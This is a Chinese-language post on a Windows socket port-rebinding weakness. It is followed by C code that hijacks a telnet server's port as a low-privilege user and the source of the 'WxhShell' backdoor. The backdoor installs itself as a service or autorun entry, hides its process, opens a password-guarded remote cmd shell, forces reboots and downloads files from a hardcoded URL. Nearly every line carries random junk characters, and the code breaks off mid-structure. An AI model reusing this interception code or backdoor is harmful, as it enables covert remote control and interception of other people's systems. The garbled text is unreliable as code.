在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
wI "U7vr s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Z5]>pJFq, l9H!au= saddr.sin_family = AF_INET;
r,2g^K)6 rQ snhv saddr.sin_addr.s_addr = htonl(INADDR_ANY);
'}#9)}x! BfiD9ka-z bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
~7Ux@Sx; yEQs:v6L~ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
YZJyk:H\ 9-m=*|p 这意味着什么?意味着可以进行如下的攻击:
GsM<2@? h!9ei6 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
_u9Jxw?F@Y }l9llu 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
|(^PS8wG ={Qi0Pvt 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
|
VDV<g5h IO:G1;[/2L 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
FML(4BY, w@fi{H(R 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
( &x['IR Jj%K=sw 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
""~ajy vY`s'%WV 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
eb$#A _m lqpp)Cq #include
B4 }bVjs #include
hehFEyx #include
^T-V^^#( #include
R0-j5&^jju DWORD WINAPI ClientThread(LPVOID lpParam);
lU8Hd|@- int main()
K!l5coM {
K\c#ig WORD wVersionRequested;
BTrn0 DWORD ret;
,UE83j8D^ WSADATA wsaData;
%D "I BOOL val;
koi^l`B$ SOCKADDR_IN saddr;
Pg7Yp2)Oli SOCKADDR_IN scaddr;
x]ot 2 int err;
&b& , SOCKET s;
^_mj SOCKET sc;
y4fdq7i~}9 int caddsize;
@7n"yp*" HANDLE mt;
0_t!T'jr7 DWORD tid;
h@@=M wVersionRequested = MAKEWORD( 2, 2 );
Jxm.cC5z. err = WSAStartup( wVersionRequested, &wsaData );
NQ2E if ( err != 0 ) {
D.XvG _ printf("error!WSAStartup failed!\n");
FzC'G57Kl return -1;
GWip-wI }
7Hu3>4< saddr.sin_family = AF_INET;
P7/X|M z jEJT-*I1+ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
uM6+?A9@l k"w"hg&e saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
k|d+#u[Mj@ saddr.sin_port = htons(23);
$* Kvc$D if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
jo@J}`\Zt {
jW@Uo=I[ printf("error!socket failed!\n");
*-p}z@8 return -1;
Mf``_=K }
8)I^ t81 val = TRUE;
H$4:lH&( //SO_REUSEADDR选项就是可以实现端口重绑定的
@f_+=}|dc if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
[!OxZ! {
|ZBI * printf("error!setsockopt failed!\n");
#Mw8^FST return -1;
"snw4if }
W5MTD]J //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Q]>.b%s[ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
q5:N2Jmo?z //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
~&bq0( 12LL48bi if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
czd~8WgOa {
u;c?d!E ret=GetLastError();
h'F=YF$o printf("error!bind failed!\n");
|Xy6PN8 return -1;
4{`{WI{ }
=rX>.P%Q 5 listen(s,2);
~qOa\#x_ while(1)
}vM("v|M {
@;RXLq/8 caddsize = sizeof(scaddr);
V~5jfcd //接受连接请求
CeC6hGR5 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
~/P[J if(sc!=INVALID_SOCKET)
vRO
_Q? {
wAW5
Z0D mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
@<&m|qtMsz if(mt==NULL)
<UQbt N-B\ {
uW36;3[f#1 printf("Thread Creat Failed!\n");
w+CA1q< break;
n7-6-
# }
/I0%Z+`= }
3:i@II CloseHandle(mt);
TWFr
4- }
CizX<Cr} closesocket(s);
B&uz;L3 WSACleanup();
s-T\r"d=j return 0;
0:Ol7 }
)P|),S,;Z DWORD WINAPI ClientThread(LPVOID lpParam)
[u*5z.^ {
.0]<k,JZZ SOCKET ss = (SOCKET)lpParam;
"a U
aotx SOCKET sc;
Y/zj[> unsigned char buf[4096];
QMb Ouw SOCKADDR_IN saddr;
~M4; long num;
,nDaqQ-C!! DWORD val;
yO~Ig
`w DWORD ret;
O@C@eW# //如果是隐藏端口应用的话,可以在此处加一些判断
E=!\z%4 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
>I&5j/&}+ saddr.sin_family = AF_INET;
@6T/Tdz saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
^$hH1H+V saddr.sin_port = htons(23);
pcWPH. if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
v^ VitLC {
:G%61x&=Zc printf("error!socket failed!\n");
$ gS>FJ return -1;
}Kbb4]t|" }
E09:E val = 100;
v
z '&%( if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
| h#u^v3 {
W|63Ir67 ret = GetLastError();
7E~;xn; return -1;
fS78>*K }
IB]l1< if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
j+
0I-p {
VS8Rx.? ret = GetLastError();
^,T(mKS return -1;
}?Ai87-{ }
j HJ`,# if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
L0WN\|D {
b!5~7Ub.No printf("error!socket connect failed!\n");
a HR"n|7{ closesocket(sc);
y/ef>ZZ closesocket(ss);
Gu\q%'I return -1;
!."D]i; }
M:B=\&.O while(1)
338k?nHxv {
U#WF;q0L //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
l)l^[2 //如果是嗅探内容的话,可以再此处进行内容分析和记录
n]o<S+z //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
%aVq+kC h num = recv(ss,buf,4096,0);
x-&@wMqkc if(num>0)
QX'qyojxN send(sc,buf,num,0);
vuY~_ else if(num==0)
5uj?#)N break;
);&:9[b_ num = recv(sc,buf,4096,0);
H%Q7D- if(num>0)
fHd#u%63K send(ss,buf,num,0);
8>in_h9 else if(num==0)
JO6)-U$7UG break;
-fW*vE: }
&(l9?EVq1 closesocket(ss);
#fn)k1 closesocket(sc);
6fEqqUeV return 0 ;
pYmk1!]/ }
Uf;^%*P4 R|87%&6'] K} X&AJ5A ==========================================================
&powy7rR |[aiJR[Q 下边附上一个代码,,WXhSHELL
:emiQ Iom'Y@x ==========================================================
5f K_Aq{ nazZ*lC #include "stdafx.h"
Gm^U;u}=f q ,]L$ #include <stdio.h>
Zw
S F^ #include <string.h>
0rs"o-s< #include <windows.h>
N]=q|D #include <winsock2.h>
j/c&xv7= #include <winsvc.h>
Sp]0c[37R #include <urlmon.h>
eiaFaYe\ XW)lDiJl #pragma comment (lib, "Ws2_32.lib")
o~y;j75{.* #pragma comment (lib, "urlmon.lib")
<
!C)x ['tY4$L( #define MAX_USER 100 // 最大客户端连接数
4*cEag #define BUF_SOCK 200 // sock buffer
R=2FNP #define KEY_BUFF 255 // 输入 buffer
!@*7e:l /dI&o,sA #define REBOOT 0 // 重启
(m(JK^ #define SHUTDOWN 1 // 关机
T;a}#56{^ ~H<6gN<j(. #define DEF_PORT 5000 // 监听端口
+.b,AqJ/ .2Elr(&*h #define REG_LEN 16 // 注册表键长度
b&N'C9/8 #define SVC_LEN 80 // NT服务名长度
9x9 T<cx ,Np0wg0 // 从dll定义API
k|PN0&J typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
fW1CFRHH typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
:vQrOn18p typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
K)|G0n*qS typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
U@)eTHv}6 i^Y+?Sx // wxhshell配置信息
CXx*_@}MU struct WSCFG {
\\H}`0m: int ws_port; // 监听端口
'"/=f\)u char ws_passstr[REG_LEN]; // 口令
?(F6#"/E int ws_autoins; // 安装标记, 1=yes 0=no
,pQZ@I\z char ws_regname[REG_LEN]; // 注册表键名
;)z:fToh char ws_svcname[REG_LEN]; // 服务名
bSi%2Onj char ws_svcdisp[SVC_LEN]; // 服务显示名
2,b(,3{`4: char ws_svcdesc[SVC_LEN]; // 服务描述信息
BLf>_bUk char ws_passmsg[SVC_LEN]; // 密码输入提示信息
DGn;m\B int ws_downexe; // 下载执行标记, 1=yes 0=no
;~ $'2f~U char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
tOd&!HYL char ws_filenam[SVC_LEN]; // 下载后保存的文件名
-4IE]'## +RM SA^ };
+YKi, n&qg;TT // default Wxhshell configuration
;LPfXpR struct WSCFG wscfg={DEF_PORT,
G3vxjD<DMW "xuhuanlingzhe",
&P}_bx 1,
UapC"XYJ "Wxhshell",
G+"t/?/ "Wxhshell",
li'YDtMKCY "WxhShell Service",
:B5Fdp3 "Wrsky Windows CmdShell Service",
7<#U(,YEA "Please Input Your Password: ",
;oKZ!ND 1,
6"5A%{J "
http://www.wrsky.com/wxhshell.exe",
6"O+w=5B "Wxhshell.exe"
qHplJ " };
2M#Q.F Ls$D$/:q? // 消息定义模块
_~J
{wM char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
"R1NG?;q char *msg_ws_prompt="\n\r? for help\n\r#>";
0oZ=
yh char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
O1U= X:Zl char *msg_ws_ext="\n\rExit.";
F Q7T'G![ char *msg_ws_end="\n\rQuit.";
u=?.}Pj char *msg_ws_boot="\n\rReboot...";
uLL]A>vR char *msg_ws_poff="\n\rShutdown...";
+yH7v5W char *msg_ws_down="\n\rSave to ";
z2_*%S@ "ESwA char *msg_ws_err="\n\rErr!";
Ky!Y" char *msg_ws_ok="\n\rOK!";
2Aazy'/ ~Z?TFg
char ExeFile[MAX_PATH];
%G_B^p4 int nUser = 0;
nn:.nU|I HANDLE handles[MAX_USER];
Vvn2 Ep int OsIsNt;
2~1SQ.Q<RY Is)u } SERVICE_STATUS serviceStatus;
gx8ouOh SERVICE_STATUS_HANDLE hServiceStatusHandle;
k"T}2 7 FxtQXu-g // 函数声明
F|o:W75 int Install(void);
,j2Udn}
int Uninstall(void);
V6&!9b int DownloadFile(char *sURL, SOCKET wsh);
Yz/md1T$ int Boot(int flag);
+`7i'ff void HideProc(void);
U9:zVy int GetOsVer(void);
\K{0L int Wxhshell(SOCKET wsl);
9N%We|L,c void TalkWithClient(void *cs);
XSe=sHEI int CmdShell(SOCKET sock);
5T_n %vz int StartFromService(void);
7$vYo
_ int StartWxhshell(LPSTR lpCmdLine);
\FbvHr, ?qLFaFt/ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Yq0| J VOID WINAPI NTServiceHandler( DWORD fdwControl );
q77;ZPfs8 jk; clwyz/ // 数据结构和表定义
Pmr5S4Ka SERVICE_TABLE_ENTRY DispatchTable[] =
6S'yZQ|b {
8>2.UrC {wscfg.ws_svcname, NTServiceMain},
j9x<Y] {NULL, NULL}
fcRxp{*zO };
'RQ+g}|Ba! 7a=gH2]& // 自我安装
L%*!`TN int Install(void)
o/$} {
* J7DY f char svExeFile[MAX_PATH];
/yDz/>ID\ HKEY key;
6y%qVx#! strcpy(svExeFile,ExeFile);
g2LM_1\ #zv3b[@ // 如果是win9x系统,修改注册表设为自启动
"/*\1v9 if(!OsIsNt) {
N
,'GN[s if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
B4c]}r+ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
-LoZs
ru RegCloseKey(key);
n/;WxnnQ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
]_mb7X> RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
=r?hgGWe RegCloseKey(key);
|C;=-| return 0;
k$z_:X }
(Y.k8";)` }
G\/zkrxmv }
Yh@JXJ> else {
_JzEGpeG n71r_S* // 如果是NT以上系统,安装为系统服务
V%7WUq SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
knu,"< if (schSCManager!=0)
oo/qb`-6 {
w=0(<s2 SC_HANDLE schService = CreateService
=1FRFZI!j (
o lR?n(v schSCManager,
q 6:dy wscfg.ws_svcname,
:}L[sl\R wscfg.ws_svcdisp,
U8s2|G;K SERVICE_ALL_ACCESS,
!=*g@mgF SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
'1P2$# SERVICE_AUTO_START,
?Ny9'g>? SERVICE_ERROR_NORMAL,
9N#_(uwt svExeFile,
a+[KI NULL,
G}9Jg NULL,
>a!/QMh NULL,
CTB~Yj@d+ NULL,
!1jBC.G1 NULL
^b4 9 );
)Ys x}vS Z if (schService!=0)
vjbASFF0= {
f
O}pj: CloseServiceHandle(schService);
guq{#?} CloseServiceHandle(schSCManager);
mDA:nx%5< strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
/kZebNf6H strcat(svExeFile,wscfg.ws_svcname);
}Sm(]y if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
KB3Htw%W[+ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
?hZAxR\ RegCloseKey(key);
.9/hHCp return 0;
R$h<<v)% }
7X`g,b! }
)!th7sH CloseServiceHandle(schSCManager);
0cv{ }
g+8OekzB5 }
du
$:jN\} "(3[+W{| return 1;
SXSgld2uS }
I13y6= d bQzZy5, // 自我卸载
j2t7'bO_ int Uninstall(void)
e@L=LW> {
A9KET$i@v HKEY key;
.Yamc#A- >2y':fO if(!OsIsNt) {
%8RrRW if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
JU 4<|5H RegDeleteValue(key,wscfg.ws_regname);
NlA,'`, RegCloseKey(key);
oM
X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
lF<]8m%F RegDeleteValue(key,wscfg.ws_regname);
N~nziY*C,* RegCloseKey(key);
]{;gw<T return 0;
^rB8? kt }
aj-Km`5r} }
6B8VfQ9[ }
z 4e7PW| else {
=Pyj%4Rs prUN)r@U
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
P7[h-3+^ if (schSCManager!=0)
lB8-Z ow {
lne|5{h SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
BwN0!lsF3 if (schService!=0)
Eh)fnqs_d} {
o@_q]/Mh if(DeleteService(schService)!=0) {
\,'m</o~, CloseServiceHandle(schService);
:p1u(hflS CloseServiceHandle(schSCManager);
0G(/Wb"/ return 0;
U"~>jZKk }
D5gFXEeh CloseServiceHandle(schService);
s-NX o }
mtpeRVcF CloseServiceHandle(schSCManager);
.97])E[U }
<jBF[v9*m( }
+X\FBvP& dUD[e,? return 1;
WSPI|#Xr% }
8$]1M,$r xf'V{9* // 从指定url下载文件
"-E\[@/ int DownloadFile(char *sURL, SOCKET wsh)
&.F4b~A7 {
`{8K.(])s! HRESULT hr;
1;* cq char seps[]= "/";
<q)# char *token;
K$z2YJ% char *file;
DVO.FTV^` char myURL[MAX_PATH];
j\ZXG=j char myFILE[MAX_PATH];
b3P+H r Yz9owe8}[ strcpy(myURL,sURL);
!@5 9) token=strtok(myURL,seps);
[XN={ while(token!=NULL)
NYhB'C2 {
RV1coC.g4x file=token;
44J]I\+ token=strtok(NULL,seps);
Mg+2.
8% }
M.JA.I@XC `T1 GetCurrentDirectory(MAX_PATH,myFILE);
8u"U1 strcat(myFILE, "\\");
6u?>M9 strcat(myFILE, file);
E[OJ+ ;c send(wsh,myFILE,strlen(myFILE),0);
gZVc 5u< send(wsh,"...",3,0);
&L3M] hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
"6A
`
q\ if(hr==S_OK)
{aZ0; return 0;
#j;^\rSv- else
IM*y|UHt return 1;
g/4[N{Xf T%+#xl }
\-E^lIVF V( }:=eK // 系统电源模块
pG_;$8Hc int Boot(int flag)
k``_EiV4t {
yER(6V'\iQ HANDLE hToken;
>k|5Okq g TOKEN_PRIVILEGES tkp;
^"E^zHM( L]7=?vN=8 if(OsIsNt) {
/>C^WQI^ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
+8T?{K LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
"%)qRe tkp.PrivilegeCount = 1;
\Zk;ikEY tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
cUk7i`M;6 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
`Uq#W+r, if(flag==REBOOT) {
vN}#Kc\ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
O}gV`q; return 0;
~ZaY!(R< }
eNh39er else {
EZgwF=lO if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
t6rRU~;} return 0;
KA5v +~ }
m5n#v }
qyb?49I else {
H;mSkRD3N if(flag==REBOOT) {
VD AaYDi if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
"37lx;CH return 0;
_=r6=. }
/*~EO{o else {
$B+8Of if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
PJ')R:e, return 0;
|*Yr<zt }
f^3*)Ni }
Xc++b|k #&+{mCjs return 1;
T}Tp$.gB }
2F[ q). S
E<FL/x1# // win9x进程隐藏模块
]Ee?6]bN void HideProc(void)
y`iBFC;_ {
^^u5*n+5 y
G~?MEh{ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
_{ue8kGt if ( hKernel != NULL )
,O5NLg- {
E*&vy pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
I@\lN&HC ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
BkAm/R FreeLibrary(hKernel);
pp?D7S }
m[osg< CR_ @)F )S7 return;
>-?f0K }
=>S]q71 5PCqYN(:B // 获取操作系统版本
`?H]h"{7Q int GetOsVer(void)
-]Bq|qTH[( {
(M|Dx\_ OSVERSIONINFO winfo;
=HK!(C winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
yZ7&b&2nLn GetVersionEx(&winfo);
(y'hyJo if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Y;eZ9|Ht9 return 1;
[|wZ77\ else
Z{.8^u1I return 0;
NSMyliM1Y }
ZmqKQO wVXS%4|v // 客户端句柄模块
&<g|gsG` int Wxhshell(SOCKET wsl)
Jumgb {
uh_RGM& SOCKET wsh;
*tFHM &a struct sockaddr_in client;
`cn#B
BV DWORD myID;
2ACCh4(/P H H)!_(SA while(nUser<MAX_USER)
Eh`7X=Z7E {
Ufj`euY int nSize=sizeof(client);
m,28u3@r wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
;]puq if(wsh==INVALID_SOCKET) return 1;
_RYxD"my 'c&Ed handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
T.F!+ if(handles[nUser]==0)
hW')Sp closesocket(wsh);
3yme1Mb else
yF:1( 4 nUser++;
0JS?; fk }
e
,'_xV WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
G5_=H,Vmd g'f@H-KCD return 0;
tIi&;tw] }
# +>oZWVc ldcqe$7, // 关闭 socket
68|E9^`l void CloseIt(SOCKET wsh)
iU918!!N {
f%JIp#B closesocket(wsh);
ITQA0PISL nUser--;
w(Ovr`o?9t ExitThread(0);
)}R0Y=e }
~NgA ]! &FKy // 客户端请求句柄
BZ#(
void TalkWithClient(void *cs)
Y Uc+0 {
pad*oPH, &E F!OBR SOCKET wsh=(SOCKET)cs;
\sixI;-2 char pwd[SVC_LEN];
2DrM3ZU8 char cmd[KEY_BUFF];
9=M$AB char chr[1];
;+_:,_ int i,j;
YqD=>P[O ^e5=hH-% while (nUser < MAX_USER) {
|i*37r6]= u#fM_>ML if(wscfg.ws_passstr) {
/62!cp/F/D if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
,KZ~?3$yj //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
!n!*/[}X //ZeroMemory(pwd,KEY_BUFF);
8nqG<!,q i=0;
s[*rzoA while(i<SVC_LEN) {
#zy:a% Es`Px_k // 设置超时
DK~xrU' fd_set FdRead;
~_)^X struct timeval TimeOut;
@;4zrzQi7 FD_ZERO(&FdRead);
G>=*yqo
FD_SET(wsh,&FdRead);
octL"t8w TimeOut.tv_sec=8;
2s8a
$3 TimeOut.tv_usec=0;
bj^5yX;2 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Wi<m{.%\E if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
@{e}4s?7od ]q[D>6_ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
l'1pw pwd
=chr[0]; ~/U1xk%
if(chr[0]==0xd || chr[0]==0xa) { [aLI
'
pwd=0; @bLy,Xr&
break; B@))8.h]
} t+
TdLDJR
i++; I{&[[7H
} 59L\|OR
v~C
Czg
// 如果是非法用户,关闭 socket :4w ?#
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); A@('pA85
} 3&4(ZH=
}6~hEc*/"
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); M0"_^?
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y<3-?}.aZ
e{H=dIa+
while(1) { Zl!kJ:0
RBd7YWo\|j
ZeroMemory(cmd,KEY_BUFF);
8W7J3{d
I][*j
// 自动支持客户端 telnet标准 #%2rP'He
j=0; ;;t yoh~t
while(j<KEY_BUFF) { I@N8gn
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h"W,WxL8
cmd[j]=chr[0]; ]N]!o#q}L
if(chr[0]==0xa || chr[0]==0xd) { gVuFHHeUz
cmd[j]=0; n8[!pH~6
break; E]d.z6k
} Q{>k1$fkV
j++; T763:v
} ?j.,Nw4FC
R\f+SvE
// 下载文件 3,w_".m`#
if(strstr(cmd,"http://")) { ~8+ Zs
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1GRCV8"Z^
if(DownloadFile(cmd,wsh)) >R_&Ouh:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); J)>c9w
else _LnpnL:
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q
i;1L
Kc
} (WJRi:NP?
else { Jpq~
$I>w]
switch(cmd[0]) { NxY#NaE:?4
^76]0`gS
// 帮助 re<{
>
case '?': { t@;p
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wlvgg
break; @HC Vmg:
} OT*mO&Z
// 安装 I{2hfKUe`
case 'i': { Om@;J%u/
if(Install()) 5DZ#9m/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }<r)~{UV
else $PPi5f}HD
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Zi
i
break; Q&;9x? e
} ?V=ZIGj
// 卸载 JbbzV>
case 'r': { ,0 sm
if(Uninstall()) qDIZJh
send(wsh,msg_ws_err,strlen(msg_ws_err),0); U)gH}0n&
else =WATyY:s
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _VN?#J)o
break; 6 "sSo j
} B9 uoVcW
// 显示 wxhshell 所在路径 WH} y"W
case 'p': { {P./==^0
char svExeFile[MAX_PATH]; ^CX6&d
strcpy(svExeFile,"\n\r"); e T{ 4{
strcat(svExeFile,ExeFile); xC TML!H
send(wsh,svExeFile,strlen(svExeFile),0); RqrdAkg
break; P@B]
} x9g#<2w8
// 重启 X_h}J=33Q
case 'b': { cT,sh~-x,
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); bE. .P&"
if(Boot(REBOOT)) 4$<JHo
@.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); cq]6XK-W
else { ~
7s!VR
closesocket(wsh); q9_OGd|P
ExitThread(0); "8MF_Gu):
} 7$=InK
break; 0S~rgq|O
} ?`ZUR&
20
// 关机 =,8]nwgo
case 'd': { D>q9 3;p
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); X"Swi&4
if(Boot(SHUTDOWN)) +\9NDfYIA
send(wsh,msg_ws_err,strlen(msg_ws_err),0); H
<l7ZS:
else { a=2%4Wmz
closesocket(wsh); CdQ!GS<'y
ExitThread(0);
t{96p77)=
} +<C!U'
break; K%oG,-wdg
} D,feF9
// 获取shell ,qxu|9L
case 's': { bn5 Su=]
CmdShell(wsh); 25?6gu*Z
closesocket(wsh); ICQKP1WFp
ExitThread(0); .q>iXE_c
break; C'x&Py/#
} :o3N;*o>)0
// 退出 +e``OeXog
case 'x': { L,!?Nt\
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); GTd,n=
CloseIt(wsh); #6=
break; (<9u-HF#
} K"MX!
// 离开 y6a3tG
case 'q': { 0 H:X3y+
send(wsh,msg_ws_end,strlen(msg_ws_end),0); WsB ?C&>x
closesocket(wsh); 7[)E>XRE
WSACleanup(); 4WB0Pt{
exit(1); ktIFI`@w)
break; U K!(G
} n[rCQdM&U"
} $UwCMPs X
} Dd|VMW=
2^7`mES
// 提示信息 h376Be{P
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <hyKu
} GbI/4<)l}
} a7opCmL
{l@{FUv
return; ^cWnF0)j.
} oB7_O-3z
_[BP0\dPW
// shell模块句柄 hZb_P\1X
int CmdShell(SOCKET sock) E1
2uZ$X
{ ih3n<gXF
STARTUPINFO si; 8s@3hXD&
ZeroMemory(&si,sizeof(si)); >t+P(*u
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !N^@4*
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {.Jlbi9!
PROCESS_INFORMATION ProcessInfo; gSj,E8-g
char cmdline[]="cmd"; :3 mh@[V
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +}AI@+
return 0; "AqB$^S9t
} -~w'Xo #
$??I/6
// 自身启动模式 H PVEnVn
int StartFromService(void) .%-8 t{dt
{ c+ie8Q!
typedef struct ueNS='+m
{ 53h0UL
DWORD ExitStatus; #'}*dy/
DWORD PebBaseAddress; :`sUt1Fw.
DWORD AffinityMask; HzJz+ x:
DWORD BasePriority; ]?4hyN
ULONG UniqueProcessId; -Y8B~@]P?
